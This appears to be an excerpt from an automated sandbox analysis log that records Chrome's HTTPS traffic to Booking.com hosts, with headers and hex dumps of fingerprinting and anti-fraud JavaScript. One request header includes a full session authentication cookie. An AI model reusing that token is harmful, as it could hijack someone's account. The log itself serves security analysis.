ITOuAhiBiQUvOLiL7miym80Mg756XXZ9Nuw21BQbJEcw__xDD8E8MQ==
2024-07-08 22:43:44 UTC	17	IN	Data Raw: 63 0d 0a 7b 22 72 65 73 75 6c 74 22 3a 30 7d 0d 0a Data Ascii: c{"result":0}
2024-07-08 22:43:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.6	49874	18.245.31.53	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:43 UTC	551	OUT	GET /libs/acc-clientlib/v5/clientlib.js HTTP/1.1 Host: xx.bstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:44 UTC	806	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 3662 Connection: close Server: nginx Date: Wed, 26 Jun 2024 09:02:39 GMT Last-Modified: Fri, 21 Jun 2024 14:35:21 GMT ETag: "66758fa9-e4e" Expires: Fri, 26 Jul 2024 09:02:39 GMT Cache-Control: max-age=2592000 access-control-allow-origin: * nel: {"report_to":"default","max_age":600} report-to: {"endpoints":[{"url":"https://nellie.booking.com/report"}],"max_age":600,"group":"default","failure_fraction":0.05} Accept-Ranges: bytes x-xss-protection: 1; mode=block timing-allow-origin: * Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 085a99da24636ecdd172026920429788.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P8 X-Amz-Cf-Id: HHwiJ4E_ff5SLM84SO5TmqQrW_jEtwBM8knto6eY4uS6x-hg8CnFFQ== Age: 1086065
2024-07-08 22:43:44 UTC	3662	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 76 61 72 20 67 3d 74 68 69 73 7c 7c 73 65 6c 66 3b 66 75 6e 63 74 69 6f 6e 20 7a 28 29 7b 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 3d 74 79 70 65 6f 66 20 44 61 74 65 2e 6e 6f 77 3f 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 28 29 3a 44 61 74 65 2e 6e 6f 77 28 29 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 45 29 7b 74 68 69 73 2e 4c 3d 45 3b 31 36 3d 3d 74 68 69 73 2e 4c 3f 28 74 68 69 73 2e 76 3d 32 36 38 34 33 35 34 35 36 2c 74 68 69 73 2e 43 3d 34 30 32 36 35 33 31 38 33 39 29 3a 28 74 68 69 73 2e 76 3d 37 38 33 36 34 31 36 34 30 39 36 2c 74 68 69 73 2e 43 3d 32 37 34 32 37 34 35 37 34 33 33 35 39 29 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 45 29 7b 72 65 74 75 72 6e 28 4d 61 74 68 2e 66 6c 6f 6f 72 Data Ascii: (function(){var g=this\|\|self;function z(){return"undefined"===typeof Date.now?(new Date).getTime():Date.now()}function N(E){this.L=E;16==this.L?(this.v=268435456,this.C=4026531839):(this.v=78364164096,this.C=2742745743359)}function l(E){return(Math.floor

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.6	49875	18.245.31.53	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:43 UTC	547	OUT	GET /libs/datavisor/20231228/sdk.js HTTP/1.1 Host: xx.bstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:44 UTC	809	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 472909 Connection: close Server: nginx Date: Sun, 30 Jun 2024 02:05:18 GMT Last-Modified: Fri, 21 Jun 2024 14:35:24 GMT ETag: "66758fac-7374d" Expires: Tue, 30 Jul 2024 02:05:18 GMT Cache-Control: max-age=2592000 access-control-allow-origin: * nel: {"report_to":"default","max_age":600} report-to: {"endpoints":[{"url":"https://nellie.booking.com/report"}],"max_age":600,"group":"default","failure_fraction":0.05} Accept-Ranges: bytes x-xss-protection: 1; mode=block timing-allow-origin: * Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 c63140c3859a31aa195816b9d66d1f2c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P8 X-Amz-Cf-Id: uDr4V0uJYahzFCytdjmYmLJAMLDELy949lbHfDOSSqyyZPUjKH3AXQ== Age: 765506
2024-07-08 22:43:44 UTC	16384	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 50 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 3f 77 69 6e 64 6f 77 3a 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 3f 67 6c 6f 62 61 6c 3a 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 73 65 6c 66 3f 73 65 6c 66 3a 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6a 28 74 29 7b 72 65 74 75 72 6e 20 74 26 26 74 2e 5f 5f 65 73 4d 6f 64 75 6c 65 26 26 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 74 2c 22 64 65 66 Data Ascii: !function(){"use strict";var P="undefined"!=typeof globalThis?globalThis:"undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:{};function j(t){return t&&t.__esModule&&Object.prototype.hasOwnProperty.call(t,"def
2024-07-08 22:43:44 UTC	12398	IN	Data Raw: 64 20 30 2c 74 26 26 74 2e 65 6e 74 65 72 28 29 7d 2c 4c 69 3d 68 69 7c 7c 5a 69 7c 7c 43 72 7c 7c 21 68 7c 7c 21 69 3f 21 66 26 26 67 26 26 67 2e 72 65 73 6f 6c 76 65 3f 28 28 46 69 3d 67 2e 72 65 73 6f 6c 76 65 28 76 6f 69 64 20 30 29 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 67 2c 56 69 3d 46 69 2e 74 68 65 6e 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 56 69 2e 63 61 6c 6c 28 46 69 2c 51 69 29 7d 29 3a 5a 69 3f 66 75 6e 63 74 69 6f 6e 28 29 7b 71 69 2e 6e 65 78 74 54 69 63 6b 28 51 69 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 57 69 2e 63 61 6c 6c 28 59 69 2c 51 69 29 7d 3a 28 55 69 3d 21 30 2c 4d 69 3d 69 2e 63 72 65 61 74 65 54 65 78 74 4e 6f 64 65 28 22 22 29 2c 6e 65 77 20 68 28 51 69 29 2e 6f 62 73 65 72 76 65 28 4d 69 2c 7b 63 68 61 72 61 63 74 65 72 44 Data Ascii: d 0,t&&t.enter()},Li=hi\|\|Zi\|\|Cr\|\|!h\|\|!i?!f&&g&&g.resolve?((Fi=g.resolve(void 0)).constructor=g,Vi=Fi.then,function(){Vi.call(Fi,Qi)}):Zi?function(){qi.nextTick(Qi)}:function(){Wi.call(Yi,Qi)}:(Ui=!0,Mi=i.createTextNode(""),new h(Qi).observe(Mi,{characterD
2024-07-08 22:43:44 UTC	16384	IN	Data Raw: 29 2c 21 74 29 66 6f 72 28 76 61 72 20 65 20 69 6e 20 74 68 69 73 29 22 74 22 3d 3d 3d 65 2e 63 68 61 72 41 74 28 30 29 26 26 63 2e 63 61 6c 6c 28 74 68 69 73 2c 65 29 26 26 21 69 73 4e 61 4e 28 2b 65 2e 73 6c 69 63 65 28 31 29 29 26 26 28 74 68 69 73 5b 65 5d 3d 75 29 7d 2c 73 74 6f 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 64 6f 6e 65 3d 21 30 3b 76 61 72 20 74 3d 74 68 69 73 2e 74 72 79 45 6e 74 72 69 65 73 5b 30 5d 2e 63 6f 6d 70 6c 65 74 69 6f 6e 3b 69 66 28 22 74 68 72 6f 77 22 3d 3d 3d 74 2e 74 79 70 65 29 74 68 72 6f 77 20 74 2e 61 72 67 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 72 76 61 6c 7d 2c 64 69 73 70 61 74 63 68 45 78 63 65 70 74 69 6f 6e 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 69 66 28 74 68 69 73 2e 64 6f 6e 65 29 74 68 72 6f 77 Data Ascii: ),!t)for(var e in this)"t"===e.charAt(0)&&c.call(this,e)&&!isNaN(+e.slice(1))&&(this[e]=u)},stop:function(){this.done=!0;var t=this.tryEntries[0].completion;if("throw"===t.type)throw t.arg;return this.rval},dispatchException:function(n){if(this.done)throw
2024-07-08 22:43:44 UTC	15596	IN	Data Raw: 52 63 28 74 29 29 7d 2c 6a 63 3d 58 28 22 6d 61 74 63 68 22 29 2c 5f 3d 6f 74 2c 4c 63 3d 75 74 2c 55 63 3d 77 74 2c 4d 63 3d 41 63 2c 46 63 3d 4a 2c 69 3d 79 63 2c 56 63 3d 22 22 2e 73 74 61 72 74 73 57 69 74 68 2c 47 63 3d 4d 61 74 68 2e 6d 69 6e 3b 5f 28 7b 74 61 72 67 65 74 3a 22 53 74 72 69 6e 67 22 2c 70 72 6f 74 6f 3a 21 30 2c 66 6f 72 63 65 64 3a 21 69 28 22 73 74 61 72 74 73 57 69 74 68 22 29 7d 2c 7b 73 74 61 72 74 73 57 69 74 68 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 55 63 28 46 63 28 74 68 69 73 29 29 2c 6e 3d 28 4d 63 28 74 29 2c 4c 63 28 47 63 28 31 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3f 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3a 76 6f 69 64 20 30 2c 65 2e 6c 65 6e 67 74 68 29 29 29 2c 74 3d 55 63 28 74 29 3b 72 Data Ascii: Rc(t))},jc=X("match"),_=ot,Lc=ut,Uc=wt,Mc=Ac,Fc=J,i=yc,Vc="".startsWith,Gc=Math.min;_({target:"String",proto:!0,forced:!i("startsWith")},{startsWith:function(t){var e=Uc(Fc(this)),n=(Mc(t),Lc(Gc(1<arguments.length?arguments[1]:void 0,e.length))),t=Uc(t);r
2024-07-08 22:43:44 UTC	16384	IN	Data Raw: 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 4c 6c 28 4d 6c 28 74 68 69 73 29 29 2c 6e 3d 28 55 6c 28 74 29 2c 31 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3f 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3a 76 6f 69 64 20 30 29 2c 72 3d 6a 6c 28 65 2e 6c 65 6e 67 74 68 29 2c 6e 3d 76 6f 69 64 20 30 3d 3d 3d 6e 3f 72 3a 56 6c 28 6a 6c 28 6e 29 2c 72 29 2c 72 3d 4c 6c 28 74 29 3b 72 65 74 75 72 6e 20 46 6c 3f 46 6c 2e 63 61 6c 6c 28 65 2c 72 2c 6e 29 3a 65 2e 73 6c 69 63 65 28 6e 2d 72 2e 6c 65 6e 67 74 68 2c 6e 29 3d 3d 3d 72 7d 7d 29 3b 76 61 72 20 47 6c 3d 69 6f 28 22 53 74 72 69 6e 67 22 29 2e 65 6e 64 73 57 69 74 68 2c 4a 6c 3d 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2c 48 6c 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2e 65 6e 64 Data Ascii: tion(t){var e=Ll(Ml(this)),n=(Ul(t),1<arguments.length?arguments[1]:void 0),r=jl(e.length),n=void 0===n?r:Vl(jl(n),r),r=Ll(t);return Fl?Fl.call(e,r,n):e.slice(n-r.length,n)===r}});var Gl=io("String").endsWith,Jl=String.prototype,Hl=function(t){var e=t.end
2024-07-08 22:43:44 UTC	16384	IN	Data Raw: 6a 59 58 52 6a 61 43 41 6f 5a 58 4a 79 62 33 49 70 49 48 73 4b 49 43 41 67 49 43 41 67 49 43 42 33 61 57 35 6b 62 33 64 62 63 6d 56 7a 64 57 78 30 53 32 56 35 58 53 41 39 49 43 63 6e 4f 77 6f 67 49 43 41 67 66 51 70 39 49 43 41 4b 49 43 41 70 4b 41 41 41 41 47 46 7a 65 57 35 6a 49 47 5a 31 62 6d 4e 30 61 57 39 75 49 47 56 75 59 33 4a 35 63 48 51 6f 61 57 35 6b 5a 58 67 70 49 48 73 4b 49 43 41 67 49 47 4e 76 62 6e 4e 30 49 48 42 68 63 6d 46 74 53 32 56 35 49 44 30 67 4a 30 52 42 56 45 46 57 53 56 4e 50 55 6c 39 45 52 55 52 48 52 56 39 53 51 56 42 49 51 55 56 4d 58 30 56 4f 51 31 4a 5a 55 46 52 66 55 45 46 53 51 55 30 6e 49 43 73 67 61 57 35 6b 5a 58 67 37 43 69 41 67 49 43 42 6a 62 32 35 7a 64 43 42 79 5a 58 4e 31 62 48 52 4c 5a 58 6b 67 50 53 41 6e 52 45 Data Ascii: jYXRjaCAoZXJyb3IpIHsKICAgICAgICB3aW5kb3dbcmVzdWx0S2V5XSA9ICcnOwogICAgfQp9ICAKICApKAAAAGFzeW5jIGZ1bmN0aW9uIGVuY3J5cHQoaW5kZXgpIHsKICAgIGNvbnN0IHBhcmFtS2V5ID0gJ0RBVEFWSVNPUl9ERURHRV9SQVBIQUVMX0VOQ1JZUFRfUEFSQU0nICsgaW5kZXg7CiAgICBjb25zdCByZXN1bHRLZXkgPSAnRE
2024-07-08 22:43:44 UTC	16384	IN	Data Raw: 3b 72 65 74 75 72 6e 20 79 7d 76 61 72 20 46 66 3d 69 6f 28 22 41 72 72 61 79 22 29 2e 69 6e 64 65 78 4f 66 2c 56 66 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2c 4f 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2e 69 6e 64 65 78 4f 66 3b 72 65 74 75 72 6e 20 74 3d 3d 3d 56 66 7c 7c 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 26 26 65 3d 3d 3d 56 66 2e 69 6e 64 65 78 4f 66 3f 46 66 3a 65 7d 2c 47 66 3d 4d 61 74 68 2e 66 6c 6f 6f 72 2c 69 3d 4d 66 2c 72 6f 3d 24 74 2e 6d 61 74 63 68 28 2f 66 69 72 65 66 6f 78 5c 2f 28 5c 64 2b 29 2f 69 29 2c 64 3d 21 21 72 6f 26 26 2b 72 6f 5b 31 5d 2c 71 73 3d 2f 4d 53 49 45 7c 54 72 69 64 65 6e 74 2f 2e 74 65 73 74 28 24 74 29 2c 45 69 3d 24 74 2e 6d 61 74 63 68 28 2f 41 70 70 6c 65 57 65 62 Data Ascii: ;return y}var Ff=io("Array").indexOf,Vf=Array.prototype,O=function(t){var e=t.indexOf;return t===Vf\|\|t instanceof Array&&e===Vf.indexOf?Ff:e},Gf=Math.floor,i=Mf,ro=$t.match(/firefox\/(\d+)/i),d=!!ro&&+ro[1],qs=/MSIE\|Trident/.test($t),Ei=$t.match(/AppleWeb
2024-07-08 22:43:44 UTC	16384	IN	Data Raw: 77 69 6e 64 6f 77 3f 77 69 6e 64 6f 77 2e 54 45 4d 50 4f 52 41 52 59 3a 30 2c 31 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 28 21 31 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 28 21 30 29 7d 29 7d 65 6c 73 65 20 69 66 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 20 74 3b 72 65 74 75 72 6e 20 34 3c 3d 54 70 28 5b 22 41 70 70 6c 65 50 61 79 45 72 72 6f 72 22 69 6e 20 77 69 6e 64 6f 77 2c 22 43 53 53 50 72 69 6d 69 74 69 76 65 56 61 6c 75 65 22 69 6e 20 77 69 6e 64 6f 77 2c 22 43 6f 75 6e 74 65 72 22 69 6e 20 77 69 6e 64 6f 77 2c 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 61 76 69 67 61 74 6f 72 2e 76 65 6e 64 6f 72 26 26 30 3d 3d 4f 28 74 3d 6e 61 76 69 67 61 74 6f 72 2e 76 65 6e 64 6f 72 29 2e Data Ascii: window?window.TEMPORARY:0,1,function(){return r(!1)},function(){return r(!0)})}else if(function(){try{var t;return 4<=Tp(["ApplePayError"in window,"CSSPrimitiveValue"in window,"Counter"in window,"string"==typeof navigator.vendor&&0==O(t=navigator.vendor).
2024-07-08 22:43:44 UTC	12792	IN	Data Raw: 22 3a 30 3c 3d 4f 28 74 29 2e 63 61 6c 6c 28 74 2c 22 6d 61 63 69 6e 74 6f 73 68 22 29 7c 7c 30 3c 3d 4f 28 74 29 2e 63 61 6c 6c 28 74 2c 22 6d 61 63 5f 70 6f 77 65 72 70 63 29 22 29 3f 22 4d 61 63 22 3a 22 4f 74 68 65 72 73 22 3b 72 65 74 75 72 6e 20 74 7d 2c 6a 36 39 3a 78 2e 67 65 74 46 72 6f 6d 4c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 62 69 6e 64 28 77 69 6e 64 6f 77 2c 42 2e 44 56 4c 61 73 74 50 75 74 53 70 65 6e 64 54 69 6d 65 29 2c 6a 37 33 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 68 70 28 29 2c 65 3d 70 70 28 29 2c 6e 3d 64 70 28 29 2c 6e 3d 6e 3d 3d 6b 2e 4e 4f 54 5f 53 55 50 50 4f 52 54 3f 31 3a 6e 2c 72 3d 4d 61 74 68 2e 72 6f 75 6e 64 28 4d 61 74 68 2e 6d 61 78 28 74 2a 6e 2c 65 2a 6e 29 29 2c 74 3d 4d 61 74 68 2e 72 6f 75 6e 64 28 Data Ascii: ":0<=O(t).call(t,"macintosh")\|\|0<=O(t).call(t,"mac_powerpc)")?"Mac":"Others";return t},j69:x.getFromLocalStorage.bind(window,B.DVLastPutSpendTime),j73:function(){var t=hp(),e=pp(),n=dp(),n=n==k.NOT_SUPPORT?1:n,r=Math.round(Math.max(tn,en)),t=Math.round(
2024-07-08 22:43:44 UTC	16384	IN	Data Raw: 73 2e 67 65 74 45 6e 76 28 29 2c 6f 3d 78 2e 67 65 6e 65 72 61 74 65 44 6f 6d 61 69 6e 28 6f 2c 73 2c 21 30 29 2c 61 3d 28 73 3d 22 50 4f 53 54 22 3d 3d 65 3f 42 6c 2e 50 4f 53 54 5f 44 41 54 41 3a 42 6c 2e 53 45 43 4f 4e 44 5f 52 45 51 55 45 53 54 29 2e 6d 65 74 68 6f 64 2c 73 3d 73 2e 75 72 6c 2c 63 3d 74 68 69 73 2e 64 6f 6d 61 69 6e 49 6e 64 65 78 4f 66 4c 61 73 74 53 75 63 63 65 73 73 52 65 71 75 65 73 74 3b 63 61 73 65 20 36 3a 69 66 28 63 3c 69 2a 6f 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 20 66 3d 63 25 6f 2e 6c 65 6e 67 74 68 2c 68 3d 6f 5b 66 5d 2c 54 2e 69 6e 69 74 54 6f 6b 65 6e 54 69 6d 65 6f 75 74 52 65 61 73 6f 6e 3d 43 28 6c 3d 43 28 6c 3d 22 22 2e 63 6f 6e 63 61 74 28 43 6c 2e 72 65 70 6f 72 74 69 6e 67 2c 22 2c 74 72 79 69 6e 67 20 22 Data Ascii: s.getEnv(),o=x.generateDomain(o,s,!0),a=(s="POST"==e?Bl.POST_DATA:Bl.SECOND_REQUEST).method,s=s.url,c=this.domainIndexOfLastSuccessRequest;case 6:if(c<i*o.length)return f=c%o.length,h=o[f],T.initTokenTimeoutReason=C(l=C(l="".concat(Cl.reporting,",trying "

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.6	49876	18.238.243.19	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:44 UTC	628	OUT	GET /backend_static/common/flags/new/48-squared/us.png HTTP/1.1 Host: q-xx.bstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:44 UTC	769	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 642 Connection: close Server: nginx Date: Tue, 25 Jun 2024 14:00:11 GMT Last-Modified: Mon, 07 Sep 2020 10:40:08 GMT ETag: "5f560e08-282" Expires: Thu, 25 Jul 2024 14:00:11 GMT Cache-Control: max-age=2592000 access-control-allow-origin: * nel: {"report_to":"default","max_age":600} report-to: {"endpoints":[{"url":"https://nellie.booking.com/report"}],"max_age":600,"group":"default","failure_fraction":0.05} Accept-Ranges: bytes x-xss-protection: 1; mode=block timing-allow-origin: * X-Cache: Hit from cloudfront Via: 1.1 0be6ab2f92b7567e05a874f049abbbe6.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P1 X-Amz-Cf-Id: DtEQH5FrNicgfmFZu-AiZxzwf-02N6FYritqF9w_rp2iJKsgiMJZKw== Age: 1154613
2024-07-08 22:43:44 UTC	642	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 30 00 00 00 30 08 03 00 00 00 60 dc 09 b5 00 00 00 75 50 4c 54 45 b4 1f 30 3c 39 70 b4 1f 30 97 27 40 ff ff ff b4 1f 30 3c 3a 70 d0 73 7d 54 53 82 ec c7 cb e3 ab b1 61 5f 8b 48 46 79 6d 6b 94 49 46 79 be 3b 49 91 90 ae c2 c2 d2 79 78 9c 85 84 a6 48 47 79 9d 9c b7 aa a9 c0 b6 b5 c9 c7 57 64 f3 f3 f6 db da e4 ce cd db 96 26 40 e7 e7 ed 6d 6b 93 9e 9d b7 ce ce db a1 47 5e b5 b5 c9 9e 9c b8 c0 a4 b4 b7 87 9a ae 6c 81 d6 1f 19 b1 00 00 00 04 74 52 4e 53 df bf bf bf 3b 25 6a 12 00 00 01 b8 49 44 41 54 48 c7 8c d4 61 93 94 30 0c 06 60 d4 f5 35 9a 14 4b 69 41 38 d9 dd bb 53 ff ff 4f b4 79 b9 b9 ce c0 ce 68 3e 3c d3 81 09 34 a4 a1 fb f0 1f f1 e9 63 8b 0e 30 83 87 50 6d eb 76 e5 e7 e7 16 1d fa 69 10 bc 89 69 Data Ascii: PNGIHDR00`uPLTE0<9p0'@0<:ps}TSa_HFymkIFy;IyxHGyWd&@mkG^ltRNS;%jIDATHa0`5KiA8SOyh><4c0Pmvii

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.6	49871	18.164.96.49	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:44 UTC	1060	OUT	GET /asset.76f4cfe389ea593cf33909bbcedb7949.js HTTP/1.1 Host: saa.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: bkng_sso_auth=CAIQsOnuTRpmaou+GEKeulaBbe/D0RNKi0n1KM9uEq17CoZ9ceIKbGu/yAcBi15SiUijsLL7hKBbdn2ziy9rleT/h/+mYqJx9Ltvzo4bCiS9vD0LPjuOlYCJGG9yEJ4LEajGRIlOfN54d2s0MMke; pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D91c4cf11-d893-45ba-a7de-4fecf555ad97%26consentedAt%3D2024-07-08T22%3A43%3A33.173Z%26expiresAt%3D2025-01-04T22%3A43%3A33.173Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DNY%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_session=e30; bkng_sso_ses=e30
2024-07-08 22:43:44 UTC	637	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 39786 Connection: close date: Mon, 08 Jul 2024 22:43:44 GMT cache-control: public, max-age=31536000 etag: 76f4cfe389ea593cf33909bbcedb7949 server: Perl Dancer2 0.300004 expires: Tue, 31 Dec 2030 23:30:45 GMT last-modified: Mon, 30 Sep 2013 09:36:48 GMT x-xss-protection: 1; mode=block strict-transport-security: max-age=63072000; includeSubDomains; preload X-Cache: Miss from cloudfront Via: 1.1 58a45bf3f07dfdca95ebcb7935e84994.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P5 X-Amz-Cf-Id: JPbnTU3asHprsCT0x4Q8bzL7fizcdfUliW9MAr18G3l8slGhK7j5nA==
2024-07-08 22:43:44 UTC	15747	IN	Data Raw: 76 61 72 20 24 6a 73 63 6f 6d 70 3d 7b 73 63 6f 70 65 3a 7b 7d 7d 3b 24 6a 73 63 6f 6d 70 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3a 66 75 6e 63 74 69 6f 6e 28 6b 2c 6d 2c 6c 29 7b 69 66 28 6c 2e 67 65 74 7c 7c 6c 2e 73 65 74 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 45 53 33 20 64 6f 65 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 20 67 65 74 74 65 72 73 20 61 6e 64 20 73 65 74 74 65 72 73 2e 22 29 3b 6b 21 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 26 26 6b 21 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 26 26 28 6b 5b 6d 5d 3d Data Ascii: var $jscomp={scope:{}};$jscomp.defineProperty="function"==typeof Object.defineProperties?Object.defineProperty:function(k,m,l){if(l.get\|\|l.set)throw new TypeError("ES3 does not support getters and setters.");k!=Array.prototype&&k!=Object.prototype&&(k[m]=
2024-07-08 22:43:44 UTC	16384	IN	Data Raw: 69 70 74 20 42 54 3b 5a 61 70 66 48 75 6d 6e 73 74 20 42 54 3b 5a 61 70 66 48 75 6d 6e 73 74 20 44 6d 20 42 54 3b 5a 61 70 66 69 6e 6f 3b 5a 75 72 69 63 68 20 42 6c 6b 45 78 20 42 54 3b 5a 75 72 69 63 68 20 45 78 20 42 54 3b 5a 57 41 64 6f 62 65 46 22 2e 73 70 6c 69 74 28 22 3b 22 29 3b 0a 66 6f 72 28 76 61 72 20 6b 3d 5b 5d 2c 68 3d 30 2c 6c 3d 64 2e 6c 65 6e 67 74 68 3b 68 3c 6c 3b 68 2b 2b 29 7b 76 61 72 20 6d 3d 76 6f 69 64 20 30 2c 72 3d 64 5b 68 5d 2c 70 3d 21 31 3b 66 6f 72 28 6d 20 69 6e 20 62 29 7b 65 2e 73 74 79 6c 65 2e 66 6f 6e 74 46 61 6d 69 6c 79 3d 72 2b 22 2c 22 2b 62 5b 6d 5d 3b 66 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 3b 76 61 72 20 79 3d 65 2e 6f 66 66 73 65 74 57 69 64 74 68 21 3d 3d 6e 5b 62 5b 6d 5d 5d 7c 7c 65 2e 6f 66 66 73 Data Ascii: ipt BT;ZapfHumnst BT;ZapfHumnst Dm BT;Zapfino;Zurich BlkEx BT;Zurich Ex BT;ZWAdobeF".split(";");for(var k=[],h=0,l=d.length;h<l;h++){var m=void 0,r=d[h],p=!1;for(m in 